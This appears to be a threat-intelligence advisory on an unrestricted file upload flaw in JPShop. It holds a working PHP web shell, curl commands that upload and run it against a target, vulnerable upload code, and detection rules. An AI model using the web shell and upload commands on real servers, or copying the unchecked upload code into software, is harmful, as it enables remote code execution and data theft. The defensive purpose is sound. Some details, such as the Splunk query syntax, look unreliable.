CVE-2024-1259

Executive Summary

CVE-2024-1259 is a critical unrestricted file upload vulnerability affecting the JPShop e-commerce platform by Juanpao, up to version 1.5.02. The flaw resides in the /api/controllers/admin/app/AppController.php file, where the app_pic_url parameter is not properly sanitized, allowing an attacker to upload arbitrary files (e.g., web shells) to the server. With a CVSS score of 6.3 (Medium), the vulnerability is remotely exploitable without authentication, posing a significant risk of remote code execution, data theft, and full server compromise. Public exploit code has been disclosed, increasing the threat level for unpatched instances.

Supply Chain & Package Security

JPShop is a PHP-based e-commerce application. While not distributed via NPM, PyPI, Go, or Ruby registries, it is commonly deployed via direct download or Docker images. Organizations should verify the integrity of their JPShop installations and monitor for any malicious modifications to the application files, as the lack of an official patch increases the risk of supply chain attacks through compromised third-party repositories or unofficial patches.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited file modification possible.
• Availability (A): Low (L) – Limited service disruption possible.

Threat Level: High. Despite the Medium CVSS score, the public availability of exploit code and the lack of a patch elevate the real-world risk. An attacker can achieve remote code execution with minimal effort.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) in the JPShop admin API. The endpoint /api/controllers/admin/app/AppController.php handles the app_pic_url parameter, which is intended for uploading application images. Due to insufficient validation of the file type and content, an attacker can upload a malicious PHP file (e.g., a web shell) instead of an image.

Attack Flow:

1. The attacker sends a POST request to the vulnerable endpoint with a crafted multipart form-data payload.
2. The app_pic_url parameter is set to a filename like shell.php.
3. The server saves the uploaded file to a publicly accessible directory (e.g., /uploads/).
4. The attacker accesses the uploaded file via a web browser, executing arbitrary PHP code.

Root Cause: The application fails to check the file extension, MIME type, or content magic bytes before saving the uploaded file. This allows any file type to be uploaded.

Vulnerable vs. Patched Code

Vulnerable Code (JPShop <= 1.5.02):

// /api/controllers/admin/app/AppController.php
public function uploadAction() {
    $file = $_FILES['app_pic_url'];
    $target_path = "/uploads/" . $file['name'];
    move_uploaded_file($file['tmp_name'], $target_path);
    echo json_encode(['url' => $target_path]);
}

Patched Code (Hypothetical):

// /api/controllers/admin/app/AppController.php
public function uploadAction() {
    $file = $_FILES['app_pic_url'];
    $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
    $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
    if (!in_array($extension, $allowed_extensions)) {
        http_response_code(400);
        echo json_encode(['error' => 'Invalid file type']);
        return;
    }
    $target_path = "/uploads/" . uniqid() . "." . $extension;
    move_uploaded_file($file['tmp_name'], $target_path);
    echo json_encode(['url' => $target_path]);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• JPShop instance (<= 1.5.02) accessible over the network.
• A PHP web shell (e.g., shell.php).

Exploit Steps:

1. Prepare a PHP web shell:

   <?php system($_GET['cmd']); ?>
   

2. Upload the shell using curl:

   curl -X POST -F "app_pic_url=@shell.php" http://target.com/api/controllers/admin/app/AppController.php
   

3. Execute commands:

   curl http://target.com/uploads/shell.php?cmd=id
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for POST requests to /api/controllers/admin/app/AppController.php with unusual file extensions.
2. Check the /uploads/ directory for unexpected PHP files.
3. Use file integrity monitoring (FIM) to detect new files in upload directories.

Hunting Query (Splunk):

index=web_logs source="/var/log/apache2/access.log"
| where method="POST" AND uri_path="/api/controllers/admin/app/AppController.php"
| eval file_ext=lower(extract_field(uri_query, "app_pic_url", "\.([^\.]+)$"))
| where file_ext NOT IN ("jpg", "jpeg", "png", "gif")
| table _time, src_ip, uri_query, file_ext

Indicators of Compromise (IOCs)

• File Paths:
  • /uploads/shell.php
  • /uploads/*.php (any PHP file in uploads)
• Network Indicators:
  • POST requests to /api/controllers/admin/app/AppController.php with Content-Type: multipart/form-data
  • Outbound connections from the web server to unknown IPs (if shell is used for C2)
• Log Entries:
  • Apache/Nginx access logs showing POST /api/controllers/admin/app/AppController.php with a 200 response
  • PHP error logs indicating move_uploaded_file() operations

Detection Engineering

YARA Rule

rule CVE_2024_1259_WebShell {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2024-1259"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1259"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $shell_func = "shell_exec("
        $cmd_param = "$_GET['cmd']"
    condition:
        $php_tag and ($system_func or $shell_func or $cmd_param)
}

Sigma Rule

title: CVE-2024-1259 JPShop Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-1259 via POST requests to the vulnerable endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-path: '/api/controllers/admin/app/AppController.php'
    condition: selection
falsepositives:
    - Legitimate image uploads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1259 JPShop Unrestricted File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/api/controllers/admin/app/AppController.php"; http_uri; content:"app_pic_url"; http_client_body; pcre:"/\.(php|phtml|php3|php4|php5|pht|shtml|inc)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint by removing or renaming /api/controllers/admin/app/AppController.php until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block POST requests to the vulnerable path with non-image file extensions.
3. Restrict upload directory permissions to prevent execution of PHP files (e.g., set php_admin_value engine off in Apache for the uploads directory).

Long-Term Fix:

• Apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section, adding file extension and MIME type validation.
• Monitor the vendor's website for an official patch and apply it immediately when released.
• Conduct a security audit of the entire JPShop codebase for similar vulnerabilities.

Workaround (Apache .htaccess):

<Directory "/var/www/html/uploads">
    php_admin_value engine off
</Directory>

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert